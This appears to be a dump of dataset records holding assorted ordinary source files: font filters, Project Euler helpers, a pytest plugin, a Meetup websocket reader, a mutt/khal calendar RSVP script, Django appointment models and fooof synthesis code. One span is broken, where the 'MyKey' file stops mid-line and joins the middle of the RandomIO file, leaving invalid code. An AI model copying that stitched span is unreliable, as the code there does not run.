self.options.conversionError or DEFAULT_MAX_ERR\n ctx.absoluteError = relativeError * font.info.unitsPerEm\n\n ctx.stats = {}\n\n return ctx\n\n def __call__(self, font, glyphSet=None):\n if super(CubicToQuadraticFilter, self).__call__(font, glyphSet):\n stats = self.context.stats\n logger.info('New spline lengths: %s' % (', '.join(\n '%s: %d' % (l, stats[l]) for l in sorted(stats.keys()))))\n\n def filter(self, glyph):\n if not len(glyph):\n return False\n\n pen = Cu2QuPointPen(\n glyph.getPointPen(),\n self.context.absoluteError,\n reverse_direction=self.options.reverseDirection,\n stats=self.context.stats)\n contours = list(glyph)\n glyph.clearContours()\n for contour in contours:\n contour.drawPoints(pen)\n return True\n","sub_path":"Lib/ufo2ft/filters/cubicToQuadratic.py","file_name":"cubicToQuadratic.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"413764060","text":"'''\nReading common Project Euler file formats -- comma and space separated values\n\n@author: ben\n'''\n\ndef read_oneline_file(filename, sep=','):\n file = open(filename)\n ret = []\n for string in file.readline().split(sep):\n ret.append(string.strip('\"'))\n file.close()\n return ret\n\ndef read_file(filename, sep=' ', map_func=None):\n \"\"\"Read file format of most PE matrix or info files\n Returns a list of lists containing the lines, broken on the sep character\n \"\"\"\n file = open(filename)\n ret = []\n for line in file:\n if map_func is None:\n ret.append(line.split(sep))\n else:\n ret.append([map_func(st) for st in line.split(sep)])\n file.close()\n return ret\n\ndef score(str):\n return sum([ord(char)-64 for char in str])","sub_path":"common/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"480481910","text":"\"\"\"py.test plugin to test *.t files with cram.\"\"\"\n\nimport re\nimport py\nimport pytest\nimport os\nimport tempfile\n\nimport cram\n\n__version__ = '0.1'\n\n\ndef pytest_addoption(parser):\n \"\"\"Hook up additional options.\"\"\"\n group = parser.getgroup(\"general\")\n group.addoption(\n '--cram', action='store_true',\n help=\"run cram on *.t files\")\n\n\ndef pytest_collect_file(path, parent):\n \"\"\"Filter files down to which ones should be checked.\"\"\"\n config = parent.config\n if config.option.cram and path.ext == '.t':\n return CramItem(path, parent)\n\n\nclass CramError(Exception):\n \"\"\" indicates an error during cram checks. \"\"\"\n\n\nclass CramItem(pytest.Item, pytest.File):\n\n def __init__(self, path, parent):\n super(CramItem, self).__init__(path, parent)\n self.add_marker(\"cram\")\n\n def runtest(self):\n call = py.io.StdCapture.call\n found_errors, out, err = call(check_file, self.fspath)\n if found_errors:\n raise CramError(out, err)\n\n def repr_failure(self, excinfo):\n if excinfo.errisinstance(CramError):\n return excinfo.value.args[0]\n return super(CramItem, self).repr_failure(excinfo)\n\n\nclass Ignorer:\n def __init__(self, ignorelines, coderex=re.compile(\"[EW]\\d\\d\\d\")):\n self.ignores = ignores = []\n for line in ignorelines:\n i = line.find(\"#\")\n if i != -1:\n line = line[:i]\n try:\n glob, ign = line.split(None, 1)\n except ValueError:\n glob, ign = None, line\n if glob and coderex.match(glob):\n glob, ign = None, line\n ign = ign.split()\n if \"ALL\" in ign:\n ign = None\n if glob and \"/\" != os.sep and \"/\" in glob:\n glob = glob.replace(\"/\", os.sep)\n ignores.append((glob, ign))\n\n def __call__(self, path):\n l = []\n for (glob, ignlist) in self.ignores:\n if not glob or path.fnmatch(glob):\n if ignlist is None:\n return None\n l.extend(ignlist)\n return l\n\n\ndef check_file(path):\n \"\"\"Run cram over a single file, and return the number of\n failures.\"\"\"\n return cram.main([str(path)])\n","sub_path":"pytest_cram.py","file_name":"pytest_cram.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"518255731","text":"\"\"\"empty message\n\nRevision ID: 51b9ae06068a\nRevises: 49eb3ce3872b\nCreate Date: 2020-07-22 15:48:06.061032\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '51b9ae06068a'\ndown_revision = '49eb3ce3872b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('artist', sa.Column('website', sa.String(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('artist', 'website')\n # ### end Alembic commands ###\n","sub_path":"starter_code/migrations/versions/51b9ae06068a_.py","file_name":"51b9ae06068a_.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"12894930","text":"#!/usr/bin/python\n\nimport os\n\ndef test(f):\n p = os.getcwd()\n os.chdir(f)\n pys = list(filter(lambda f: f.endswith('.py'), os.listdir('.')))\n if pys:\n os.system('~/workspace/algolib/util/checksol.py %s.py -e python3' % f)\n os.chdir(p)\n\ndef run():\n print(os.getcwd())\n for f in os.listdir('.'):\n if os.path.isdir(f):\n test(f)\n\nif __name__ == '__main__':\n run()\n","sub_path":"py3/run_all_tests.py","file_name":"run_all_tests.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7679978","text":"\"\"\"\nnon asyncio example\n\"\"\"\n\n\nimport websocket\nimport queue\nimport threading\nimport json\nimport toolz\n\n\ndef on_message(ws, msg):\n qq.put(msg)\n\n\ndef qget(q):\n while True:\n yield q.get()\n\n\ndef process_msg(q):\n return toolz.thread_last(qget(q),\n (map, json.loads),\n (map, lambda v: v['event']),\n (filter, lambda v: str_filter(v['event_name'])))\n\n\ndef str_filter(s):\n return 'machine learning' in s.lower()\n\n\ndef show_stream(q):\n for v in process_msg(q):\n print(v)\n\n\ndef wsrun():\n ws.run_forever()\n\n\nqq = queue.Queue(maxsize=100)\nws = websocket.WebSocketApp('ws://stream.meetup.com/2/rsvps',\n on_message=on_message)\n\nt1 = threading.Thread(target=wsrun, args=())\nt2 = threading.Thread(target=show_stream, args=(qq,))\n\nt1.start()\nt2.start()\n\nt1.join()\nt2.join()\n","sub_path":"code/websocket_test.py","file_name":"websocket_test.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"519911719","text":"#coding=UTF-8\r\n'''\r\nCreated on 2012-8-14\r\n\r\n@author: Moxiaoyong\r\n'''\r\n\r\nimport time\r\nfrom struct import unpack\r\n\r\nclass MyKey(object):\r\n\t'''\r\n\t保卫者,用来建立TCP连接后的动态口令校验\r\n\t'''\r\n\r\n\tdef __init__(self):\r\n\t\t'''\r\n\t\tConstructor\r\n\t\t'''\r\n\t\tself.__now = 0\r\n\t\tself.switch = True\r\n\t\t\r\n\tdef __read(self):\r\n\t\tself.__now = int( time.time() )\r\n\t\t\r\n\t\tkeyFile = open('./lib/Securer/Key','rb')\r\n\t\tpackTime = keyFile.read(8)\r\n\t\tkeyTime = unpack( ' 0:\n self._fill_buffer()\n self._seek_buffer(rem)\n\n self.offset = offset\n\n def tell(self):\n \"\"\"Returns the byte offset in the random stream.\n \"\"\"\n return self.offset\n\n def _interpret_size(self, size):\n if self.size is not None:\n if size is None or self.offset + size > self.size:\n size = self.size - self.offset\n else:\n if size is None:\n # we don't know how much to return\n raise RuntimeError('Stream size must be specified if bytes'\n ' to read is not.')\n return size\n\n def read(self, size=None):\n \"\"\"This object returns size random bytes.\n\n :param size: the number of bytes to read. if none, returns the entire\n stream\n :returns: size random bytes\n \"\"\"\n size = self._interpret_size(size)\n\n if size < 1:\n return b''\n\n # if we are reading less than 8 bytes, this function will buffer so\n # that we are always reading from the block cipher in 8 byte increments\n # we are doing all this buffering so we can seek the random stream\n # using counter control. but the counter only incrememts every 8 bytes\n # unless we read less than 8 bytes. to make this simpler, we want to\n # always read 8 bytes from the block cipher encryption\n\n # read the rest of the buffer\n ret = self._read_buffer(size)\n size -= len(ret)\n\n # buffer should now be empty\n\n # read some raw bytes\n rem = size % self.blocksize\n raw_size = size - rem\n if raw_size > 0:\n ret += self._read_raw(raw_size)\n\n if rem > 0:\n self._fill_buffer()\n ret += self._read_buffer(rem)\n\n self.offset += len(ret)\n return ret\n\n def dump(self, fp, size=None):\n \"\"\"This object dump size random bytes into a file specified with path.\n\n :param fp: a .write() supporting file like object to dump size bytes\n :param size: number of bytes to dump. if none, dumps the entire stream\n \"\"\"\n size = self._interpret_size(size)\n\n bufsz = self.bufsz\n while size > 0:\n if size < bufsz:\n bufsz = size\n fp.write(self.read(bufsz))\n size -= bufsz\n\n def genfile(self, size=None, path=''):\n \"\"\"This object generates a file of length size bytes in the location\n path\n\n If path has a tail, the file will be named accordingly, if the path\n does not a random file name will be generated.\n\n If no path is generated, the file will be generated in the current\n directory\n\n Returns the path of the file\n\n :param size: the number of bytes to dump. if none, dumps the entire\n stream\n :param path: the file path, or directory\n :returns: the file path\n \"\"\"\n if os.path.isdir(path) or len(path) == 0:\n path = os.path.join(path, hexlify(os.urandom(16)).decode('utf-8'))\n\n with open(path, 'wb') as f:\n self.dump(f, size)\n\n return path\n","sub_path":"RandomIO/RandomIO.py","file_name":"RandomIO.py","file_ext":"py","file_size_in_byte":7268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"599644000","text":"# https://stackoverflow.com/a/59718809\n\n# imports\nimport pandas as pd\nimport plotly.express as px\n\n# data\ndf = px.data.iris()\n\n# function to subset and order a pandas\n# dataframe fo a long format\ndef order_df(df_input, order_by, order):\n df_output=pd.DataFrame()\n for var in order: \n df_append=df_input[df_input[order_by]==var].copy()\n df_output = pd.concat([df_output, df_append])\n return(df_output)\n\n# data subsets\ndf_express = order_df(df_input = df, order_by='species', order=['virginica'])\ndf_express = order_df(df_input = df, order_by='species', order=['virginica', 'setosa'])\ndf_express = order_df(df_input = df, order_by='species', order=['virginica', 'setosa', 'versicolor'])\n\n# plotly\nfig = px.scatter(df_express, x=\"sepal_width\", y=\"sepal_length\", color=\"species\")\nfig.show()\n\n# or set distinct colorscale i.e.:\npx.line(data.reset_index(), y=y_col_names, x=x_colname, title=title, color_discrete_sequence=color_seq)\n","sub_path":"code-snippets/python/pandas_order_df_by_custom_order_set_plotly_express_colors.py","file_name":"pandas_order_df_by_custom_order_set_plotly_express_colors.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"554831116","text":"class RaiseIt:\n\n @staticmethod\n def type_error(var, data_types):\n from optimus.helpers.functions import get_var_name\n \"\"\"\n Raise a TypeError exception\n :param var:\n :param types:data types as strings\n :return:\n \"\"\"\n\n if len(data_types) == 1:\n divisor = \"\"\n elif len(data_types) == 2:\n divisor = \" or \"\n elif len(data_types) > 2:\n divisor = \", \"\n\n _type = divisor.join(map(lambda x: \"'\" + x + \"'\", data_types))\n\n raise TypeError(\n \"'{var_name}' must be of type {type}, received '{var_type}'\".format(var_name=get_var_name(var), type=_type,\n var_type=type(var)))\n\n @staticmethod\n def value_error(var, data_values):\n from optimus.helpers.functions import get_var_name\n \"\"\"\n Raise a ValueError exception\n :param var:\n :param _list: list of values accepted\n :return:\n \"\"\"\n\n if len(data_values) == 1:\n divisor = \"\"\n if len(data_values) == 2:\n divisor = \" or \"\n elif len(data_values) > 2:\n divisor = \", \"\n\n print(data_values)\n print(len(data_values))\n raise ValueError(\"'{var_name}' must be {type}, received '{var_type}'\"\n .format(var_name=get_var_name(var),\n type=divisor.join(map(\n lambda x: \"'\" + x + \"'\",\n data_values)), var_type=var))\n\n @staticmethod\n def type(cls, var, message):\n from optimus.helpers.functions import get_var_name\n\n \"\"\"\n Raise and exception ot type specified\n :param var:\n :return:\n \"\"\"\n raise cls(\"'{var_name}' error\".format(var_name=get_var_name(var), var_type=var))\n","sub_path":"optimus/helpers/raiseit.py","file_name":"raiseit.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"303761226","text":"#!/usr/bin/env python\n# -*- coding: utf8 -*-\n\n\"\"\"\nThis script is meant as a simple way to reply to ical invitations from mutt.\nSee README for instructions and LICENSE for licensing information.\n\"\"\"\n\nfrom __future__ import with_statement\n\n__author__=\"Martin Sander, Yaroslav Luzin\"\n__license__=\"MIT\"\n\nimport psutil\nimport vobject\nimport tempfile, time\nimport os, sys\nimport warnings\nfrom pathlib import Path\nfrom tzlocal import get_localzone\nfrom datetime import datetime\nfrom subprocess import Popen, PIPE\nfrom getopt import gnu_getopt as getopt\n\nusage=\"\"\"\nusage:\n%s [OPTIONS] -e your@email.address filename.ics\nOPTIONS:\n -i interactive\n -a accept\n -d decline\n -t tentatively accept\n -c calendar name in khal\n (accept is default, last one wins)\n\"\"\" % sys.argv[0]\n\ndef del_if_present(dic, key):\n if key in dic:\n del dic[key]\n\ndef set_accept_state(attendee, state):\n attendee.params['PARTSTAT'] = [str(state)]\n for i in [\"RSVP\",\"ROLE\",\"X-NUM-GUESTS\",\"CUTYPE\"]:\n del_if_present(attendee.params, i)\n return attendee\n\ndef get_accept_decline():\n while True:\n sys.stdout.write(\"\\nAccept Invitation? [Y-yes/N-no/T-tentative/Q-cancel]\")\n ans = sys.stdin.readline()\n if ans.lower() == 'y\\n' or ans == '\\n':\n return 'ACCEPTED'\n elif ans.lower() == 'n\\n':\n return 'DECLINED'\n elif ans.lower() =='t\\n':\n return 'TENTATIVE'\n elif ans.lower() == 'q\\n':\n return None\n\ndef get_answer(invitation):\n # create\n ans = vobject.newFromBehavior('vcalendar')\n ans.add('method')\n ans.method.value = \"REPLY\"\n ans.add('vevent')\n\n # just copy from invitation\n #for i in [\"uid\", \"summary\", \"dtstart\", \"dtend\", \"organizer\"]:\n # There's a problem serializing TZ info in Python, temp fix\n for i in [\"uid\", \"summary\", \"organizer\"]:\n if i in invitation.vevent.contents:\n ans.vevent.add(invitation.vevent.contents[i][0])\n\n # new timestamp\n ans.vevent.add('dtstamp')\n ans.vevent.dtstamp.value = datetime.utcnow().replace(\n tzinfo = invitation.vevent.dtstamp.value.tzinfo)\n return ans\n\ndef write_to_tempfile(ical, file_name=\"event-reply.ics\"):\n tempdir = tempfile.mkdtemp()\n icsfile = tempdir + \"/\" + file_name\n with open(icsfile,\"w\") as f:\n f.write(ical.serialize())\n return icsfile, tempdir\n\ndef get_mutt_cfg(pid_path):\n mutt_pid = 0\n pid = os.getpid()\n while pid:\n p = psutil.Process(pid)\n if p.name() == \"neomutt\" or p.name() == \"mutt\":\n mutt_pid = pid\n break\n pid = p.ppid()\n if mutt_pid:\n cfg_fname = os.path.join(\n pid_path,\n \"muttcfg_{}\".format(mutt_pid))\n else:\n cfg_fname = os.path.join(pid_path, \"muttcfg\")\n if not os.path.isfile(cfg_fname):\n cfg_fname = os.path.join(pid_path, \"muttcfg\")\n\n cfg = None\n try:\n with open(cfg_fname, \"r\") as f:\n cfg = f.read()\n print(cfg)\n except Exception as e:\n print(e)\n return cfg\n\ndef get_mutt_command(ical, email_address, accept_decline, icsfile, pid_path):\n cfg = get_mutt_cfg(pid_path)\n accept_decline = accept_decline.capitalize()\n if 'organizer' in ical.vevent.contents:\n if hasattr(ical.vevent.organizer,'EMAIL_param'):\n sender = ical.vevent.organizer.EMAIL_param\n else:\n sender = ical.vevent.organizer.value.split(':')[1] #workaround for MS\n else:\n sender = \"NO SENDER\"\n summary = ical.vevent.contents['summary'][0].value\n command = [\"mutt\"]\n if cfg:\n command += [\"-F\", cfg]\n command += [\"-a\", icsfile,\n \"-s\", \"%s: %s\" % (accept_decline, summary), \"--\", sender]\n return command\n\ndef get_khal_command(icsfile, default_calendar):\n command = [\"khal\", \"import\"]\n if default_calendar:\n command.append(\"-a\")\n command.append(default_calendar)\n command.append(icsfile)\n\n return command\n\ndef execute(command, mailtext):\n process = Popen(command, stdin=PIPE)\n process.stdin.write(mailtext)\n process.stdin.close()\n\n result = None\n while result is None:\n result = process.poll()\n time.sleep(.1)\n if result != 0:\n sys.stderr.writeline(\"unable to send reply, subprocess exited with\\\n exit code %d\\nPress return to continue\" % result)\n sys.stdin.readline()\n\ndef openics(invitation_file):\n with open(invitation_file) as f:\n try:\n with warnings.catch_warnings(): #vobject uses deprecated Exception stuff\n warnings.simplefilter(\"ignore\")\n invitation = vobject.readOne(f, ignoreUnreadable=True)\n except AttributeError:\n invitation = vobject.readOne(f, ignoreUnreadable=True)\n return invitation\n\ndef display(ical):\n summary = ical.vevent.contents['summary'][0].value\n if 'organizer' in ical.vevent.contents:\n if hasattr(ical.vevent.organizer,'EMAIL_param'):\n sender = ical.vevent.organizer.EMAIL_param\n else:\n sender = ical.vevent.organizer.value.split(':')[1] #workaround for MS\n else:\n sender = \"NO SENDER\"\n if 'description' in ical.vevent.contents:\n description = ical.vevent.contents['description'][0].value\n else:\n description = \"NO DESCRIPTION\"\n if 'attendee' in ical.vevent.contents:\n attendees = ical.vevent.contents['attendee']\n else:\n attendees = []\n sys.stdout.write(\"From:\\t\" + sender + \"\\n\")\n sys.stdout.write(\"Title:\\t\" + summary + \"\\n\")\n sys.stdout.write(\"To:\\t\")\n for attendee in attendees:\n if hasattr(attendee, 'EMAIL_param'):\n sys.stdout.write(attendee.CN_param + \" <\" + attendee.EMAIL_param + \">, \")\n else:\n try:\n sys.stdout.write(attendee.CN_param + \" <\" + attendee.value.split(':')[1] + \">, \") #workaround for MS\n except:\n sys.stdout.write(attendee.value.split(':')[1] + \" <\" + attendee.value.split(':')[1] + \">, \") #workaround for 'mailto:' in email\n sys.stdout.write(\"\\nWhen: \\n\\t{}\\n\\t{}\".format(\n ical.vevent.dtstart.value.astimezone(get_localzone()),\n ical.vevent.dtend and ical.vevent.dtend.value.astimezone(get_localzone())))\n sys.stdout.write(\"\\n\\n\")\n sys.stdout.write(description + \"\\n\")\n\nif __name__==\"__main__\":\n pid_path = os.path.join(str(Path.home()), '.config/mutt/pid_accounts')\n email_address = None\n email_addresses = []\n default_calendar = None\n accept_decline = 'ACCEPTED'\n opts, args = getopt(sys.argv[1:],\"e:c:p:aidt\")\n\n if len(args) < 1:\n sys.stderr.write(usage)\n sys.exit(1)\n\n invitation = openics(args[0])\n display(invitation)\n\n for opt,arg in opts:\n if opt == '-e':\n email_addresses = arg.split(',')\n if opt == '-c':\n default_calendar = arg\n if opt == '-i':\n accept_decline = get_accept_decline()\n if opt == '-a':\n accept_decline = 'ACCEPTED'\n if opt == '-d':\n accept_decline = 'DECLINED'\n if opt == '-t':\n accept_decline = 'TENTATIVE'\n if opt == '-p':\n pid_path = arg\n\n if not accept_decline:\n sys.stdout.write('Cancelled')\n sys.exit(0)\n\n ans = get_answer(invitation)\n\n if 'attendee' in invitation.vevent.contents:\n attendees = invitation.vevent.contents['attendee']\n else:\n attendees = []\n\n ans.vevent.add('attendee')\n ans.vevent.attendee_list.pop()\n flag = 1\n from_address = None\n for attendee in attendees:\n if hasattr(attendee,'EMAIL_param'):\n addr = attendee.EMAIL_param.lower()\n else:\n addr = attendee.value.split(':')[1].lower()\n if addr in email_addresses:\n set_accept_state(attendee, accept_decline)\n ans.vevent.attendee_list.append(attendee)\n email_address = addr\n flag = 0\n if flag:\n sys.stderr.write(\"Seems like you have not been invited to this event!\\n\")\n sys.exit(1)\n\n # write the original invitation with changed attendees\n # to import to khal\n impfile, temp1dir = write_to_tempfile(invitation, \"event.ics\")\n\n # write a reply to send using mutt\n icsfile, temp2dir = write_to_tempfile(ans)\n\n if accept_decline != 'DECLINED':\n # Add to khal\n khal_command = get_khal_command(impfile, default_calendar)\n execute(khal_command)\n\n # send reply via mutt\n mutt_command = get_mutt_command(ans, email_address, accept_decline,\n icsfile, pid_path)\n mailtext = \"'%s has %s'\" % (email_address, accept_decline.lower())\n sys.stdin.readline()\n execute(mutt_command, mailtext)\n\n # delete tempporary files\n os.remove(icsfile)\n os.remove(impfile)\n os.rmdir(temp1dir)\n os.rmdir(temp2dir)\n","sub_path":"mutt-khal-rsvp.py","file_name":"mutt-khal-rsvp.py","file_ext":"py","file_size_in_byte":8882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238020491","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 2 15:57:01 2020\n\n@author: user\n\"\"\"\n\n\n'''\nYou have a set of tiles, where each tile has one \nletter tiles[i] printed on it. Return the number \nof possible non-empty sequences of letters you can make.\n\n \n\nExample 1:\n\nInput: \"AAB\"\nOutput: 8\nExplanation: The possible sequences \nare \"A\", \"B\", \"AA\", \"AB\", \"BA\", \"AAB\", \"ABA\", \"BAA\".\nExample 2:\n\nInput: \"AAABBC\"\nOutput: 188\n'''\nclass Solution(object):\n def numTilePossibilities(self, tiles):\n \"\"\"\n :type tiles: str\n :rtype: int\n \"\"\"\n import itertools\n count=0\n for r in range(1,len(tiles)+1):\n x=list(itertools.permutations(tiles, r))\n count+=len(set(x))\n \n return count\ny=Solution()\ntiles='AAB'\nprint(y.numTilePossibilities(tiles))\ntiles='AAABBC'\nprint(y.numTilePossibilities(tiles))","sub_path":"numberOFsequences.py","file_name":"numberOFsequences.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"604500863","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\nMONDAY = 1\nTUESDAY = 2\nWEDNESDAY = 3\nTHURSDAY = 4\nFRIDAY = 5\nSATURDAY = 6\nSUNDAY = 0\nWEEKDAY_CHOICES = [\n (MONDAY, 'Monday'),\n (TUESDAY, 'Tuesday'),\n (WEDNESDAY, 'Wednesday'),\n (THURSDAY, 'Thursday'),\n (FRIDAY, 'Friday'),\n (SATURDAY, 'Saturday'),\n (SUNDAY, 'Sunday'),\n]\n\n\ndef convert_to_verbal(weekday_id):\n for weekday_choice in WEEKDAY_CHOICES:\n if weekday_choice[0] == weekday_id:\n return weekday_choice[1]\n\n\ndef convert_to_verbal_dict(simple_dict):\n verbal_dict = {}\n for key in simple_dict.keys():\n verbal_dict[convert_to_verbal(key)] = simple_dict[key]\n return verbal_dict\n\n\nclass WorkTime(models.Model):\n time = models.TimeField(unique=True)\n\n def __str__(self):\n return self.time.strftime('%H:%M')\n\n\nclass WorkDay(models.Model):\n weekday = models.IntegerField(\n choices=WEEKDAY_CHOICES,\n )\n worktimes = models.ManyToManyField(WorkTime)\n\n def __str__(self):\n times_str = ''\n worktimes_list = self.worktimes.all()\n for i, worktime in enumerate(worktimes_list):\n times_str = times_str + worktime.__str__()\n if i != worktimes_list.count() - 1:\n times_str = times_str + ', '\n return convert_to_verbal(self.weekday) + ' - ' + times_str\n\n\nclass Master(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n work_days = models.ManyToManyField(WorkDay, null=True)\n\n def generate_dict(self):\n weekday_times_dict = {}\n for work_day in self.work_days.all():\n if work_day.weekday not in weekday_times_dict.keys():\n worktimes = []\n for worktime in work_day.worktimes.all():\n worktimes.append(worktime.time)\n worktimes.sort()\n weekday_times_dict[work_day.weekday] = worktimes\n else:\n worktimes = weekday_times_dict[work_day.weekday]\n for worktime in work_day.worktimes.all():\n if worktime not in worktimes:\n worktimes.append(worktime.time)\n worktimes.sort()\n weekday_times_dict[work_day.weekday] = worktimes\n return weekday_times_dict\n\n def __str__(self):\n return self.user.username\n\n\nclass Service(models.Model):\n service_type = models.CharField(\n max_length=60,\n unique=True,\n )\n masters = models.ManyToManyField(Master, null=True)\n\n def __str__(self):\n return self.service_type\n\n\nclass Appointment(models.Model):\n service = models.ForeignKey(Service, on_delete=models.CASCADE)\n appointment_date = models.DateTimeField()\n client = models.ForeignKey(User, on_delete=models.CASCADE, related_name='appointments_as_client')\n master = models.ForeignKey(Master, on_delete=models.CASCADE, related_name='appointments_as_master')\n CANCELED = 'CLD'\n PENDING = 'PDG'\n COMPLETED = 'CPD'\n PLANNED = 'PLD'\n STATUS_CHOICES = [\n (CANCELED, 'Appointment is canceled'),\n (PENDING, 'Appointment is in progress'),\n (COMPLETED, 'Appointment is completed'),\n (PLANNED, 'Appointment is planned'),\n ]\n status = models.CharField(\n max_length=3,\n choices=STATUS_CHOICES,\n default=PLANNED,\n )\n\n def get_status_verbal_name(self):\n for pair in self.STATUS_CHOICES:\n if pair[0] == self.status:\n return pair[1]\n\n def __str__(self):\n return self.service.__str__() + ' ' + str(self.appointment_date) + ' ' + self.master.user.username\n\n","sub_path":"appointments/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"37930776","text":"\"\"\"Synthesis functions for generating model components and synthetic power spectra.\"\"\"\n\nfrom inspect import isgenerator\nfrom collections import namedtuple\nfrom itertools import chain, repeat\n\nimport numpy as np\n\nfrom fooof.core.utils import group_three\nfrom fooof.core.funcs import gaussian_function, get_bg_func, infer_bg_func\n\n###################################################################################################\n###################################################################################################\n\nSynParams = namedtuple('SynParams', ['background_params', 'gaussian_params', 'nlv'])\n\nclass Stepper():\n \"\"\"Object to generate next parameter value.\n\n Parameters\n ----------\n start : float\n Start value to iterate from.\n stop : float\n End value to iterate to.\n step : float\n Incremet of each iteration.\n\n Attributes\n ----------\n len : int\n Length of generator range.\n data : iterator\n Set of specified parameters to iterate across.\n \"\"\"\n\n def __init__(self, start, stop, step):\n \"\"\"Initializes generator.\"\"\"\n\n self._check_values(start, stop, step)\n\n self.start = start\n self.stop = stop\n self.step = step\n self.len = int((stop-start)/step)\n self.data = iter(np.arange(start, stop, step))\n\n\n def __len__(self):\n \"\"\"Returns length of generator.\"\"\"\n\n return self.len\n\n\n def __next__(self):\n \"\"\"Generates next element in parameter range.\"\"\"\n\n return round(next(self.data), 4)\n\n\n def __iter__(self):\n \"\"\"Defines Stepper to be iterator, across the data attribute.\"\"\"\n\n return self.data\n\n\n @staticmethod\n def _check_values(start, stop, step):\n \"\"\"Checks if parameters are valid.\"\"\"\n\n if any(i < 0 for i in [start, stop, step]):\n raise ValueError(\"'start', 'stop', and 'step' should all be positive values\")\n\n if not start < stop:\n raise ValueError(\"'start' should be less than stop\")\n\n if not step < (stop - start):\n raise ValueError(\"'step' is too large given 'start' and 'stop' values\")\n\n\ndef param_iter(params):\n \"\"\"Generates parameters to iterate over.\n\n Parameters\n ----------\n params : list of floats and Stepper\n Parameters over which to iterate, where:\n Stepper object defines iterated parameter and its range and,\n floats are other parameters that will be held constant.\n\n Yields\n ------\n list of floats\n Next generated list of parameters.\n\n Example\n -------\n Iterates over center frequency values from 8 to 12 in increments of .25.\n >>> osc = param_iter([Stepper(8, 12, .25), 1, 1])\n \"\"\"\n\n # If input is a list of lists, check each element, and flatten if needed\n if isinstance(params[0], list):\n params = [item for sublist in params for item in sublist]\n\n # Finds where Stepper object is. If there is more than one, raise an error\n iter_ind = 0\n num_iters = 0\n for cur_ind, param in enumerate(params):\n if isinstance(param, Stepper):\n num_iters += 1\n iter_ind = cur_ind\n\n if num_iters > 1:\n raise ValueError(\"Iteration is only supported on one parameter\")\n\n # Generate and yield next set of parameters\n gen = params[iter_ind]\n while True:\n try:\n params[iter_ind] = next(gen)\n yield params\n except StopIteration:\n return\n\n\ndef param_sampler(params, probs=None):\n \"\"\"Make a generator to sample randomly from possible params.\n\n Parameters\n ----------\n params : list of lists or list of float\n Possible parameter values.\n probs : list of float, optional\n Probabilities with which to sample each parameter option. Default: None\n If None, each parameter option is sampled uniformly.\n\n Yields\n ------\n obj\n A randomly sampled element from params.\n \"\"\"\n\n # If input is a list of lists, check each element, and flatten if needed\n if isinstance(params[0], list):\n params = [_check_flat(lst) for lst in params]\n\n # In order to use numpy's choice, with probabilities, choices are made on indices\n # This is because the params can be a messy-sized list, that numpy choice does not like\n inds = np.array(range(len(params)))\n\n # While loop allows the generator to be called an arbitrary number of times.\n while True:\n yield params[np.random.choice(inds, p=probs)]\n\n\ndef gen_freqs(freq_range, freq_res):\n \"\"\"Generate a frequency vector, from the frequency range and resolution.\n\n Parameters\n ----------\n freq_range : list of [float, float]\n Frequency range of desired frequency vector, as [f_low, f_high].\n freq_res : float\n Frequency resolution of desired frequency vector.\n\n Returns\n -------\n 1d array\n Frequency values (linear).\n \"\"\"\n\n return np.arange(freq_range[0], freq_range[1]+freq_res, freq_res)\n\n\ndef gen_power_spectrum(freq_range, background_params, gauss_params, nlv=0.005, freq_res=0.5):\n \"\"\"Generate a synthetic power spectrum.\n\n Parameters\n ----------\n freq_range : list of [float, float]\n Minimum and maximum values of the desired frequency vector.\n background_params : list of float\n Parameters to create the background of a power spectrum. Length of 2 or 3 (see note).\n gauss_params : list of float or list of list of float\n Parameters to create peaks. Total length of n_peaks * 3 (see note).\n nlv : float, optional\n Noise level to add to generated power spectrum. Default: 0.005\n freq_res : float, optional\n Frequency resolution for the synthetic power spectra. Default: 0.5\n\n Returns\n -------\n xs : 1d array\n Frequency values (linear).\n ys : 1d array\n Power values (linear).\n\n Notes\n -----\n Background Parameters:\n - The type of background process to use is inferred from the provided parameters.\n - If length of 2, the 'fixed' background is used, if length of 3, 'knee' is used.\n Gaussian Parameters:\n - Each gaussian description is a set of three values:\n - mean (CF), amplitude (Amp), and std (BW)\n - The total number of parameters that need to be specified is number of peaks * 3\n - These can be specified in as all together in a flat list.\n - For example: [10, 1, 1, 20, 0.5, 1]\n - They can also be grouped into a list of lists\n - For example: [[10, 1, 1], [20, 0.5, 1]]\n\n Examples\n 